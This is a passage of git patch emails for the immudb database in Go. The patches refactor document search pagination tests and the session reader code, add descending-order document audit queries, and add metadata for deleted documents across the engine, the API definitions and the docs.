(*protomodel.DocumentDeleteResponse, error) { diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index 89fa1c1bac..8740a0e804 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -24,7 +24,6 @@ import ( "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" - "github.com/stretchr/testify/assert" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" "google.golang.org/protobuf/types/known/structpb" @@ -46,22 +45,22 @@ func TestV2Authentication(t *testing.T) { ctx := context.Background() _, err := s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) - assert.ErrorIs(t, err, ErrNotLoggedIn) + require.ErrorIs(t, err, ErrNotLoggedIn) authServiceImp := &authenticationServiceImp{server: s} @@ -70,33 +69,31 @@ func TestV2Authentication(t *testing.T) { Password: "immudb", Database: "defaultdb", }) - assert.NoError(t, err) - assert.NotEmpty(t, logged.SessionID) - fmt.Println(logged.ExpirationTimestamp) - assert.True(t, logged.InactivityTimestamp > 0) - assert.True(t, logged.ExpirationTimestamp >= 0) - assert.True(t, len(logged.ServerUUID) > 0) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) + require.True(t, logged.InactivityTimestamp > 0) + require.True(t, logged.ExpirationTimestamp >= 0) + require.True(t, len(logged.ServerUUID) > 0) md := metadata.Pairs("sessionid", logged.SessionID) ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) + require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) + require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) + require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionDelete(ctx, &protomodel.CollectionDeleteRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) + require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionList(ctx, &protomodel.CollectionListRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) + require.NotErrorIs(t, err, ErrNotLoggedIn) _, err = s.CollectionGet(ctx, &protomodel.CollectionGetRequest{}) - assert.NotErrorIs(t, err, ErrNotLoggedIn) - + require.NotErrorIs(t, err, ErrNotLoggedIn) } func TestPaginationOnReader(t *testing.T) { @@ -119,13 +116,12 @@ func TestPaginationOnReader(t *testing.T) { Password: "immudb", Database: "defaultdb", }) - assert.NoError(t, err) - assert.NotEmpty(t, logged.SessionID) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) - // create collection collectionName := "mycollection" _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ @@ -143,31 +139,25 @@ func TestPaginationOnReader(t *testing.T) { }) require.NoError(t, err) - // add documents to collection for i := 1.0; i <= 20; i++ { _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), }, }, }) require.NoError(t, err) } - t.Run("test with invalid search id should fail", func(t *testing.T) { + t.Run("test with search id and query should fail", func(t *testing.T) { _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, + SearchId: "foobar", Query: &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -181,8 +171,16 @@ func TestPaginationOnReader(t *testing.T) { }, }, Page: 1, - PerPage: 5, - SearchID: "foobar", + PageSize: 5, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("test with invalid search id should fail", func(t *testing.T) { + _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + SearchId: "foobar", + Page: 1, + PageSize: 5, }) require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) }) @@ -191,30 +189,34 @@ func TestPaginationOnReader(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) var searchID string - for i := 1; i <= 4; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ + + query := &protomodel.Query{ + Collection: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), }, }, }, + }, + } + + for i := 1; i <= 4; i++ { + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + SearchId: searchID, + Query: query, Page: uint32(i), - PerPage: 5, - SearchID: searchID, + PageSize: 5, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Revisions)) + require.Len(t, resp.Revisions, 5) results = append(results, resp.Revisions...) - searchID = resp.SearchID + searchID = resp.SearchId + query = nil } for i := 1.0; i <= 20; i++ { @@ -233,77 +235,51 @@ func TestPaginationOnReader(t *testing.T) { t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, - }, - }, - }, + SearchId: searchID, Page: 5, - PerPage: 5, - SearchID: searchID, + PageSize: 5, }) require.NoError(t, err) }) }) t.Run("test reader should throw error on reading backwards", func(t *testing.T) { - var searchID string - for i := 1; i <= 3; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ + + query := &protomodel.Query{ + Collection: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), }, }, }, + }, + } + + for i := 1; i <= 3; i++ { + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + SearchId: searchID, + Query: query, Page: uint32(i), - PerPage: 5, - SearchID: searchID, + PageSize: 5, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Revisions)) - searchID = resp.SearchID + require.Len(t, resp.Revisions, 5) + searchID = resp.SearchId + query = nil } _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, - }, - }, - }, + SearchId: searchID, Page: 2, // read upto page 3, check if we can read backwards - PerPage: 5, - SearchID: searchID, + PageSize: 5, }) - - require.ErrorIs(t, err, ErrInvalidPreviousPage) + require.NoError(t, err) }) } @@ -327,14 +303,14 @@ func TestPaginationWithoutSearchID(t *testing.T) { Password: "immudb", Database: "defaultdb", }) - assert.NoError(t, err) - assert.NotEmpty(t, logged.SessionID) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) - // create collection collectionName := "mycollection" + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ Name: collectionName, Fields: []*protomodel.Field{ @@ -350,21 +326,14 @@ func TestPaginationWithoutSearchID(t *testing.T) { }) require.NoError(t, err) - // add documents to collection for i := 1.0; i <= 20; i++ { _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), }, }, }) @@ -382,8 +351,8 @@ func TestPaginationWithoutSearchID(t *testing.T) { for i := 1; i <= 4; i++ { resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, Query: &protomodel.Query{ + Collection: collectionName, Expressions: []*protomodel.QueryExpression{ { FieldComparisons: []*protomodel.FieldComparison{ @@ -396,11 +365,11 @@ func TestPaginationWithoutSearchID(t *testing.T) { }, }, }, - Page: uint32(i), - PerPage: 5, + Page: uint32(i), + PageSize: 5, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Revisions)) + require.Len(t, resp.Revisions, 5) results = append(results, resp.Revisions...) } @@ -433,13 +402,12 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { Password: "immudb", Database: "defaultdb", }) - assert.NoError(t, err) - assert.NotEmpty(t, logged.SessionID) + require.NoError(t, err) + require.NotEmpty(t, logged.SessionID) md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) - // create collection collectionName := "mycollection" _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ @@ -457,21 +425,14 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }) require.NoError(t, err) - // add documents to collection for i := 1.0; i <= 10; i++ { _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ - "pincode": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, - "country": { - Kind: &structpb.Value_StringValue{StringValue: fmt.Sprintf("country-%d", int(i))}, - }, - "idx": { - Kind: &structpb.Value_NumberValue{NumberValue: i}, - }, + "pincode": structpb.NewNumberValue(i), + "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), + "idx": structpb.NewNumberValue(i), }, }, }) @@ -482,30 +443,34 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { results := make([]*protomodel.DocumentAtRevision, 0) var searchID string - for i := 1; i <= 2; i++ { - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ + + query := &protomodel.Query{ + Collection: collectionName, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), }, }, }, + }, + } + + for i := 1; i <= 2; i++ { + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + SearchId: searchID, + Query: query, Page: uint32(i), - PerPage: 4, - SearchID: searchID, + PageSize: 4, }) require.NoError(t, err) - require.Equal(t, 4, len(resp.Revisions)) + require.Len(t, resp.Revisions, 4) results = append(results, resp.Revisions...) - searchID = resp.SearchID + searchID = resp.SearchId + query = nil } // ensure there is only one reader in the session for the request and it is being reused @@ -519,26 +484,12 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { t.Run("test reader should throw no more entries when reading more entries from a reader", func(t *testing.T) { resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, - }, - }, - }, + SearchId: searchID, Page: 3, - PerPage: 5, - SearchID: searchID, + PageSize: 4, }) require.NoError(t, err) - require.Equal(t, 2, len(resp.Revisions)) + require.Len(t, resp.Revisions, 2) results = append(results, resp.Revisions...) }) @@ -549,29 +500,29 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { }) t.Run("test reader with single read", func(t *testing.T) { - var searchID string - resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + query := &protomodel.Query{ Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, + Expressions: []*protomodel.QueryExpression{ + { + FieldComparisons: []*protomodel.FieldComparison{ + { + Field: "pincode", + Operator: protomodel.ComparisonOperator_GE, + Value: structpb.NewNumberValue(0), }, }, }, }, + } + + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ + Query: query, Page: 1, - PerPage: 11, - SearchID: searchID, + PageSize: 11, }) require.NoError(t, err) - require.Equal(t, 10, len(resp.Revisions)) - searchID = resp.SearchID + require.Len(t, resp.Revisions, 10) + require.Len(t, resp.SearchId, 0) // ensure there is only one reader in the session for the request and it is being reused // get the session from the context @@ -582,25 +533,11 @@ func TestPaginatedReader_NoMoreDocsFound(t *testing.T) { require.NoError(t, err) require.Equal(t, 0, sess.GetPaginatedDocumentReadersCount()) - t.Run("test reader should throw error when reader is deleted", func(t *testing.T) { + t.Run("test reader should throw error when search id is invalid", func(t *testing.T) { _, err = s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ - Collection: collectionName, - Query: &protomodel.Query{ - Expressions: []*protomodel.QueryExpression{ - { - FieldComparisons: []*protomodel.FieldComparison{ - { - Field: "pincode", - Operator: protomodel.ComparisonOperator_GE, - Value: structpb.NewNumberValue(0), - }, - }, - }, - }, - }, + SearchId: "invalid-searchId", Page: 2, - PerPage: 5, - SearchID: searchID, + PageSize: 5, }) require.ErrorIs(t, err, sessions.ErrPaginatedDocumentReaderNotFound) }) diff --git a/pkg/server/sessions/session.go b/pkg/server/sessions/session.go index ad40e415a4..c83454148b 100644 --- a/pkg/server/sessions/session.go +++ b/pkg/server/sessions/session.go @@ -25,6 +25,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/multierr" + "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/errors" @@ -38,10 +39,10 @@ var ( ) type PaginatedDocumentReader struct { - LastPageNumber uint32 // last read page number - LastPageSize uint32 // number of items per page - TotalRead uint32 // total number of items read Reader document.DocumentReader // reader to read from + Query *protomodel.Query + LastPageNumber uint32 // last read page number + LastPageSize uint32 // number of items per page } type Session struct { @@ -52,7 +53,7 @@ type Session struct { creationTime time.Time lastActivityTime time.Time transactions map[string]transactions.Transaction - paginatedDocumentReaders map[string]*PaginatedDocumentReader // map from query names to sql.RowReader objects + paginatedDocumentReaders map[string]*PaginatedDocumentReader // map from searchID to sql.RowReader objects log logger.Logger } @@ -104,8 +105,8 @@ func (s *Session) ClosePaginatedDocumentReaders() error { merr := multierr.NewMultiErr() - for qname := range s.paginatedDocumentReaders { - if err := s.deletePaginatedDocumentReader(qname); err != nil { + for searchID := range s.paginatedDocumentReaders { + if err := s.deletePaginatedDocumentReader(searchID); err != nil { s.log.Errorf("Error while removing paginated reader: %v", err) merr.Append(err) } @@ -225,20 +226,20 @@ func (s *Session) GetCreationTime() time.Time { return s.creationTime } -func (s *Session) SetPaginatedDocumentReader(queryName string, reader *PaginatedDocumentReader) { +func (s *Session) SetPaginatedDocumentReader(searchID string, reader *PaginatedDocumentReader) { s.mux.Lock() defer s.mux.Unlock() // add the reader to the paginatedDocumentReaders map - s.paginatedDocumentReaders[queryName] = reader + s.paginatedDocumentReaders[searchID] = reader } -func (s *Session) GetPaginatedDocumentReader(queryName string) (*PaginatedDocumentReader, error) { +func (s *Session) GetPaginatedDocumentReader(searchID string) (*PaginatedDocumentReader, error) { s.mux.RLock() defer s.mux.RUnlock() - // get the io.Reader object for the specified query name - reader, ok := s.paginatedDocumentReaders[queryName] + // get the io.Reader object for the specified searchID + reader, ok := s.paginatedDocumentReaders[searchID] if !ok { return nil, ErrPaginatedDocumentReaderNotFound } @@ -246,9 +247,9 @@ func (s *Session) GetPaginatedDocumentReader(queryName string) (*PaginatedDocume return reader, nil } -func (s *Session) deletePaginatedDocumentReader(queryName string) error { - // get the io.Reader object for the specified query name - reader, ok := s.paginatedDocumentReaders[queryName] +func (s *Session) deletePaginatedDocumentReader(searchID string) error { + // get the io.Reader object for the specified searchID + reader, ok := s.paginatedDocumentReaders[searchID] if !ok { return ErrPaginatedDocumentReaderNotFound } @@ -256,7 +257,7 @@ func (s *Session) deletePaginatedDocumentReader(queryName string) error { // close the reader err := reader.Reader.Close() - delete(s.paginatedDocumentReaders, queryName) + delete(s.paginatedDocumentReaders, searchID) if err != nil { return err @@ -265,32 +266,25 @@ func (s *Session) deletePaginatedDocumentReader(queryName string) error { return nil } -func (s *Session) DeletePaginatedDocumentReader(queryName string) error { +func (s *Session) DeletePaginatedDocumentReader(searchID string) error { s.mux.Lock() defer s.mux.Unlock() - return s.deletePaginatedDocumentReader(queryName) + return s.deletePaginatedDocumentReader(searchID) } -func (s *Session) UpdatePaginatedDocumentReader(queryName string, lastPage uint32, lastPageSize uint32, totalDocsRead int) error { +func (s *Session) UpdatePaginatedDocumentReader(searchID string, lastPage uint32, lastPageSize uint32) error { s.mux.Lock() defer s.mux.Unlock() - // get the io.Reader object for the specified query name - reader, ok := s.paginatedDocumentReaders[queryName] + // get the io.Reader object for the specified searchID + reader, ok := s.paginatedDocumentReaders[searchID] if !ok { return ErrPaginatedDocumentReaderNotFound } - if lastPage > 0 { - reader.LastPageNumber = (lastPage) - } - if lastPageSize > 0 { - reader.LastPageSize = (lastPageSize) - } - if totalDocsRead > 0 { - reader.TotalRead = uint32(totalDocsRead) - } + reader.LastPageNumber = lastPage + reader.LastPageSize = lastPageSize return nil } From 9165f7946fd2e710671861b5d7adcbc937860903 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 20:39:26 -0300 Subject: [PATCH 0521/1062] chore(embedded/document): possibility to specify desc order when querying document history Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 12 +++--------- embedded/document/engine_test.go | 2 +- pkg/database/document_database.go | 5 ++++- 3 files changed, 8 insertions(+), 11 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 15503c29b1..b8745900bc 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -738,25 +738,19 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, } // DocumentAudit returns the audit history of a document. -func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*protomodel.DocumentAtRevision, error) { - offset := (pageNum - 1) * itemsPerPage - limit := itemsPerPage - if offset < 0 || limit < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - +func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, docID DocumentID, desc bool, offset uint64, limit int) ([]*protomodel.DocumentAtRevision, error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, mayTranslateError(err) } defer sqlTx.Cancel() - searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, documentID) + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { return nil, err } - txIDs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), false, limit) + txIDs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), desc, limit) if err != nil { return nil, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index faf9335d5d..133b5e61b7 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -234,7 +234,7 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, uint64(2), revision) // get document audit - res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 1, 10) + res, err := engine.DocumentAudit(context.Background(), collectionName, docID, false, 0, 10) require.NoError(t, err) require.Len(t, res, 2) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index ce17d8a7ca..6c1d65aa0b 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -272,13 +272,16 @@ func (d *db) DocumentAudit(ctx context.Context, req *protomodel.DocumentAuditReq return nil, fmt.Errorf("%w: invalid page or page size", ErrIllegalArguments) } + offset := uint64((req.Page - 1) * req.PageSize) + limit := int(req.PageSize) + // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { return nil, fmt.Errorf("invalid document id: %v", err) } - revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, int(req.Page), int(req.PageSize)) + revisions, err := d.documentEngine.DocumentAudit(ctx, req.Collection, docID, req.Desc, offset, limit) if err != nil { return nil, fmt.Errorf("error fetching document history: %v", err) } From ae8f39ee6a7718905a701ecc55566ab8c02353ec Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Fri, 5 May 2023 22:45:52 -0300 Subject: [PATCH 0522/1062] chore(pkg/server): ensure document reader is closed when swithing pages Signed-off-by: Jeronimo Irazabal --- pkg/server/documents_operations.go | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 668d0a5d49..7a6427b7be 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -203,6 +203,11 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen // paginated reader already exists, resume reading from the correct offset based // on pagination parameters, do validation on the pagination parameters if req.Page != pgreader.LastPageNumber+1 || req.PageSize != pgreader.LastPageSize { + if pgreader.Reader != nil { + err := pgreader.Reader.Close() + s.Logger.Errorf("error closing paginated reader: %s, err = %v", req.SearchId, err) + } + req.Query = pgreader.Query pgreader = nil } From 128e51ea38c6a343cd340dece041932b1d34b38e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 8 May 2023 00:34:36 -0300 Subject: [PATCH 0523/1062] fix(embedded/document): proper handling of deleted documents Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 15 +- pkg/api/httpclient/client.go | 6 + pkg/api/openapi/apidocs.swagger.json | 14 +- pkg/api/proto/documents.proto | 7 +- pkg/api/protomodel/docs.md | 17 + pkg/api/protomodel/documents.pb.go | 590 +++++++++++++++------------ 6 files changed, 388 insertions(+), 261 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index b8745900bc..36f7f51062 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -41,6 +41,7 @@ type Engine struct { type EncodedDocumentAtRevision struct { TxID uint64 Revision uint64 + KVMetadata *store.KVMetadata EncodedDocument []byte } @@ -862,6 +863,14 @@ func (e *Engine) getDocumentAtRevision( return nil, err } + if encDocAtRevision.KVMetadata != nil && encDocAtRevision.KVMetadata.Deleted() { + return &protomodel.DocumentAtRevision{ + TransactionId: encDocAtRevision.TxID, + Revision: encDocAtRevision.Revision, + Metadata: &protomodel.DocumentMetadata{Deleted: true}, + }, nil + } + voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField @@ -901,6 +910,7 @@ func (e *Engine) getEncodedDocumentAtRevision( var txID uint64 var encodedDoc []byte + var md *store.KVMetadata var revision uint64 index := e.sqlEngine.GetStore() @@ -912,6 +922,8 @@ func (e *Engine) getEncodedDocumentAtRevision( txID = valRef.Tx() + md = valRef.KVMetadata() + encodedDoc, err = valRef.Resolve() if err != nil { return nil, mayTranslateError(err) @@ -921,7 +933,7 @@ func (e *Engine) getEncodedDocumentAtRevision( revision = valRef.HC() } else { txID = atTx - _, encodedDoc, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) + md, encodedDoc, err = e.readMetadataAndValue(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } @@ -930,6 +942,7 @@ func (e *Engine) getEncodedDocumentAtRevision( return &EncodedDocumentAtRevision{ TxID: txID, Revision: revision, + KVMetadata: md, EncodedDocument: encodedDoc, }, err } diff --git a/pkg/api/httpclient/client.go b/pkg/api/httpclient/client.go index 20e129392d..9064bdbc27 100644 --- a/pkg/api/httpclient/client.go +++ b/pkg/api/httpclient/client.go @@ -110,6 +110,7 @@ type ModelComparisonOperator string // ModelDocumentAtRevision defines model for modelDocumentAtRevision. type ModelDocumentAtRevision struct { Document *map[string]interface{} `json:"document,omitempty"` + Metadata *ModelDocumentMetadata `json:"metadata,omitempty"` Revision *string `json:"revision,omitempty"` TransactionId *string `json:"transactionId,omitempty"` } @@ -160,6 +161,11 @@ type ModelDocumentInsertResponse struct { TransactionId *string `json:"transactionId,omitempty"` } +// ModelDocumentMetadata defines model for modelDocumentMetadata. +type ModelDocumentMetadata struct { + Deleted *bool `json:"deleted,omitempty"` +} + // ModelDocumentProofRequest defines model for modelDocumentProofRequest. type ModelDocumentProofRequest struct { Collection *string `json:"collection,omitempty"` diff --git a/pkg/api/openapi/apidocs.swagger.json b/pkg/api/openapi/apidocs.swagger.json index f5200d73b9..9ff8f26c14 100644 --- a/pkg/api/openapi/apidocs.swagger.json +++ b/pkg/api/openapi/apidocs.swagger.json @@ -707,6 +707,9 @@ "type": "string", "format": "uint64" }, + "metadata": { + "$ref": "#/definitions/modelDocumentMetadata" + }, "document": { "type": "object" } @@ -808,6 +811,14 @@ } } }, + "modelDocumentMetadata": { + "type": "object", + "properties": { + "deleted": { + "type": "boolean" + } + } + }, "modelDocumentProofRequest": { "type": "object", "properties": { @@ -929,8 +940,7 @@ "operator": { "$ref": "#/definitions/modelComparisonOperator" }, - "value": { - } + "value": {} } }, "modelFieldType": { diff --git a/pkg/api/proto/documents.proto b/pkg/api/proto/documents.proto index c9835ebd5a..4702deb1a3 100644 --- a/pkg/api/proto/documents.proto +++ b/pkg/api/proto/documents.proto @@ -200,7 +200,12 @@ message DocumentSearchResponse { message DocumentAtRevision { uint64 transactionId = 1; uint64 revision = 2; - google.protobuf.Struct document = 3; + DocumentMetadata metadata = 3; + google.protobuf.Struct document = 4; +} + +message DocumentMetadata { + bool deleted = 1; } message DocumentAuditRequest { diff --git a/pkg/api/protomodel/docs.md b/pkg/api/protomodel/docs.md index 98921bc85e..9e5da24042 100644 --- a/pkg/api/protomodel/docs.md +++ b/pkg/api/protomodel/docs.md @@ -34,6 +34,7 @@ - [DocumentInsertManyResponse](#immudb.model.DocumentInsertManyResponse) - [DocumentInsertRequest](#immudb.model.DocumentInsertRequest) - [DocumentInsertResponse](#immudb.model.DocumentInsertResponse) + - [DocumentMetadata](#immudb.model.DocumentMetadata) - [DocumentProofRequest](#immudb.model.DocumentProofRequest) - [DocumentProofResponse](#immudb.model.DocumentProofResponse) - [DocumentSearchRequest](#immudb.model.DocumentSearchRequest) @@ -332,6 +333,7 @@ | ----- | ---- | ----- | ----------- | | transactionId | [uint64](#uint64) | | | | revision | [uint64](#uint64) | | | +| metadata | [DocumentMetadata](#immudb.model.DocumentMetadata) | | | | document | [google.protobuf.Struct](#google.protobuf.Struct) | | | @@ -462,6 +464,21 @@ + + +### DocumentMetadata + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| deleted | [bool](#bool) | | | + + + + + + ### DocumentProofRequest diff --git a/pkg/api/protomodel/documents.pb.go b/pkg/api/protomodel/documents.pb.go index 3b7dd4f82e..293f5081a2 100644 --- a/pkg/api/protomodel/documents.pb.go +++ b/pkg/api/protomodel/documents.pb.go @@ -1690,9 +1690,10 @@ type DocumentAtRevision struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - TransactionId uint64 `protobuf:"varint,1,opt,name=transactionId,proto3" 